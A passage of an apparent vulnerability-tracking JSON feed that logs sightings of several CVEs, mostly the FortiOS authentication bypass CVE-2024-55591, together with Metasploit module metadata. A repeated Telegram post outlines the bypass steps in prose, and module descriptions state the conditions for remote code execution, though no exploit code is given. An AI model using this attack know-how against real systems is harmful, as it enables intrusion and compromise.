\u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 pre-auth HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430.\n\n2. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 local_access_token \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0441\u0435\u0441\u0441\u0438\u0438.\n\n3. Race condition \u0432 WebSocket \u2192 Telnet CLI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n4. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430, \u043f\u0430\u0440\u043e\u043b\u044f \u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 super_admin.\n\n\u27a1\ufe0f \u041f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435\n\n\ud83d\udc38 \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\n\n#\u043b\u0443\u0447\u0448\u0435\u0435_\u0438\u0437_\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438_2025", "creation_timestamp": "2026-07-28T23:00:04.610971Z"}, {"uuid": "63f9e42b-0928-470e-81dc-dfdc68c5a672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2348", "content": "\ud83d\udcaa \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b Super_Admin: Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0430\u0439\u043f\u0430\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u043a\u0440\u0430\u0442\u043a\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0432\u0430\u0436\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f:\n\n1. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a WebSocket \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 pre-auth HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430.\n\n2. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 local_access_token \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0441\u0435\u0441\u0441\u0438\u0438.\n\n3. Race condition \u0432 WebSocket \u2192 Telnet CLI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n4. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430, \u043f\u0430\u0440\u043e\u043b\u044f \u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 super_admin.\n\n\u27a1\ufe0f \u041f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435\n\n\ud83d\udc38 \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\n\n#\u043b\u0443\u0447\u0448\u0435\u0435_\u0438\u0437_\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438_2025", "creation_timestamp": "2026-07-29T00:00:10.525716Z"}, {"uuid": "8b54b17a-bdef-49b9-9f74-b42307fb5c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://t.me/reverseame/5015", "content": "Advisory: CVE-2024-55957 #CVE202455957 #ThermoScientific #PrivilegeEscalation #SecurityPatch #TierZeroSecurity https://tierzerosecurity.co.nz/2025/02/07/cve-2024-55957.html", "creation_timestamp": "2026-07-29T12:02:04.765989Z"}, {"uuid": "3963b8cd-7675-4fa0-943d-a3fea611f83a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/reverseame/4985", "content": "Get FortiRekt, I Am The Super_Admin Now - Fortinet FortiOS Authentication Bypass CVE-2024-55591 #FortiRekt #SuperAdminNow #FortiOSBypass #CVE55591 #FortiGateWebVulnerability https://labs.watchtowr.com/get-fortirekt-i-am-the-super_admin-now-fortios-authentication-bypass-cve-2024-55591/", "creation_timestamp": "2026-07-29T12:02:05.118236Z"}, {"uuid": "538b9f80-f9d1-4703-82c4-ac0f7700b8dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://t.me/reverseame/5015", "content": "Advisory: CVE-2024-55957 #CVE202455957 #ThermoScientific #PrivilegeEscalation #SecurityPatch #TierZeroSecurity https://tierzerosecurity.co.nz/2025/02/07/cve-2024-55957.html", "creation_timestamp": "2026-07-30T00:02:15.812635Z"}, {"uuid": "68215efd-9c5c-4896-9eb5-547296db2928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/reverseame/4985", "content": "Get FortiRekt, I Am The Super_Admin Now - Fortinet FortiOS Authentication Bypass CVE-2024-55591 #FortiRekt #SuperAdminNow #FortiOSBypass #CVE55591 #FortiGateWebVulnerability https://labs.watchtowr.com/get-fortirekt-i-am-the-super_admin-now-fortios-authentication-bypass-cve-2024-55591/", "creation_timestamp": "2026-07-30T00:02:16.198587Z"}, {"uuid": "92add6f9-37c6-49e0-a2e9-5f534ba40989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3muhu5y2pxi2w", "content": "@sophossecurity.bsky.social\nGOLD SHERWOOD rapidly escalates, exfiltrates data, disables defenses, and deploys The Gentlemen ransomware.\n-\nIOCs: CVE-2024-55591, The Gentlemen, GentleKiller\n-\n#GOLDSHERWOOD #Ransomware #ThreatIntel", "creation_timestamp": "2026-09-01T16:37:13.596932Z"}, {"uuid": "344cf0db-3d41-4142-96df-0e961099eeb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/GithubRedTeam/100665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2024-55591-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a uLl0a\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 15:06:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEducational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-01T17:01:16.862831Z"}, {"uuid": "e14b3992-4d71-4c50-a89c-c6688dd65e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "Telegram/xr1f3jCC6Nt8yrCzxGt3NSfyGX5h3TP5edCBNO561qMvXLI", "content": "", "creation_timestamp": "2026-09-02T05:00:05.327671Z"}, {"uuid": "cd366a16-15aa-43dd-8fd6-ce206b4e2247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/GithubRedTeam/100665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2024-55591-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a uLl0a\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 15:06:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEducational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T01:05:05.662735Z"}, {"uuid": "01a59207-1a12-4ef5-b9d1-9b05412f776c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "Telegram/xr1f3jCC6Nt8yrCzxGt3NSfyGX5h3TP5edCBNO561qMvXLI", "content": "", "creation_timestamp": "2026-09-03T00:00:43.345463Z"}, {"uuid": "1212af19-9e67-4d69-a204-f0d9e2dda601", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55964", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Whit Taylor (Rhino Security Labs)\", \"Takahiro Yokoyama\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.\", \"disclosure_date\": \"2025-03-25\", \"fullname\": \"exploit/linux/http/appsmith_rce_cve_2024_55964\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"Appsmith RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/appsmith_rce_cve_2024_55964\", \"references\": [\"CVE-2024-55964\", \"URL-https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/\", \"URL-https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:22.835570Z"}, {"uuid": "905499a7-b220-426a-953b-1246da945ffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Whit Taylor (Rhino Security Labs)\", \"Takahiro Yokoyama\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container.\", \"disclosure_date\": \"2025-03-25\", \"fullname\": \"exploit/linux/http/appsmith_rce_cve_2024_55964\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"Appsmith RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/appsmith_rce_cve_2024_55964\", \"references\": [\"CVE-2024-55964\", \"URL-https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/\", \"URL-https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:22.730980Z"}, {"uuid": "b1724b1c-658d-4ca1-ae00-b97c8e93f072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"h00die-gr3y \", \"R\\u00e9mi Matasse\", \"Micka\\u00ebl Benassouli\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.\\n          A Remote Code Execution vulnerability in Invoice Ninja (&gt;= 5.8.22 &lt;= 5.10.10) allows remote unauthenticated\\n          attackers to conduct PHP deserialization attacks via endpoint `/route/` which accepts a Laravel\\n          ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.\\n          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\\n          potentially resulting in complete system compromise, data exfiltration, or unauthorized access\\n          to sensitive information.\", \"disclosure_date\": \"2024-12-13\", \"fullname\": \"exploit/linux/http/invoiceninja_unauth_rce_cve_2024_55555\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"Invoice Ninja unauthenticated PHP Deserialization Vulnerability\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555.rb\", \"platform\": \"Linux,PHP,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/invoiceninja_unauth_rce_cve_2024_55555\", \"references\": [\"CVE-2024-55555\", \"URL-https://attackerkb.com/topics/QtMS7cIExH/cve-2024-55555\", \"URL-https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"PHP\", \"Unix/Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:38.753130Z"}, {"uuid": "c0800a32-9241-47a9-80b8-601c114c5aef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"h00die-gr3y \", \"R\\u00e9mi Matasse\", \"Micka\\u00ebl Benassouli\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"InvoiceShelf is an open-source web &amp; mobile app that helps you track expenses, payments, create professional\\n          invoices &amp; estimates and is based on the PHP framework Laravel.\\n          InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct\\n          PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default\\n          InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.\\n          These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using\\n          Laravel's encrypt() function.\\n          An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify\\n          the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve\\n          remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.\\n          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,\\n          potentially resulting in complete system compromise, data exfiltration, or unauthorized access\\n          to sensitive information.\", \"disclosure_date\": \"2024-12-13\", \"fullname\": \"exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556\", \"is_install_path\": true, \"mod_time\": \"2025-12-17 16:12:31 +0000\", \"name\": \"InvoiceShelf unauthenticated PHP Deserialization Vulnerability\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.rb\", \"platform\": \"Linux,PHP,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/invoiceshelf_unauth_rce_cve_2024_55556\", \"references\": [\"CVE-2024-55556\", \"URL-https://attackerkb.com/topics/25C8UQRPhx/cve-2024-55556\", \"URL-https://www.synacktiv.com/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known\"], \"rport\": 90, \"session_types\": false, \"targets\": [\"PHP\", \"Unix/Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:38.856135Z"}, {"uuid": "e66f7faa-44d1-4904-bc41-520e31782560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb", "content": "{\"aliases\": [], \"arch\": \"java, cmd\", \"author\": [\"sfewer-r7\", \"remmons-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony\\n          versions 5.8.0.23 and below.\", \"disclosure_date\": \"2024-12-09\", \"fullname\": \"exploit/multi/http/cleo_rce_cve_2024_55956\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:58 +0000\", \"name\": \"Cleo LexiCom, VLTrader, and Harmony Unauthenticated Remote Code Execution\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb\", \"platform\": \"Java,Linux,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/cleo_rce_cve_2024_55956\", \"references\": [\"CVE-2024-55956\", \"URL-https://support.cleo.com/hc/en-us/articles/28408134019735-Cleo-Product-Security-Update-CVE-2024-55956\", \"URL-https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis\", \"URL-https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/\", \"URL-https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild\"], \"rport\": 5080, \"session_types\": false, \"targets\": [\"Java\", \"Windows Command\", \"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:44.235876Z"}, {"uuid": "393967df-5ce1-4b61-bc54-a2eae1fecb4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mvbrtyqe2o2v", "content": "Fortinet VPNs Get Bludgeoned While Everyone Pretends This Is Fine\nPANIC 82% | Lag 0.0h | Gunra ransomware is being associated with exploitation of Fortinet VPN appliances via CVE-2024-55591\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-09-12T00:05:04.961438Z"}, {"uuid": "1935cba8-34b5-4adf-9b9d-cb753e543b30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2024-55591-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a uLl0a\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 15:06:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEducational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-12T04:00:05.331455Z"}, {"uuid": "ea672f05-8ecd-4253-8523-aae43e2cd011", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100665", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2024-55591-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a uLl0a\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-01 15:06:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEducational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-13T00:00:57.458090Z"}, {"uuid": "c2f9d034-eaa4-43b5-8a40-b1125ea78600", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "Telegram/jSo3BLt_ji8WL8Jz_poAsvn5R_eNVyzlPYUOFO3u5_ByovA", "content": "", "creation_timestamp": "2026-09-14T08:00:05.805483Z"}, {"uuid": "02d87a9d-4617-4b07-8f3d-eb7cf62698d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "Telegram/jSo3BLt_ji8WL8Jz_poAsvn5R_eNVyzlPYUOFO3u5_ByovA", "content": "", "creation_timestamp": "2026-09-15T00:00:25.677226Z"}, {"uuid": 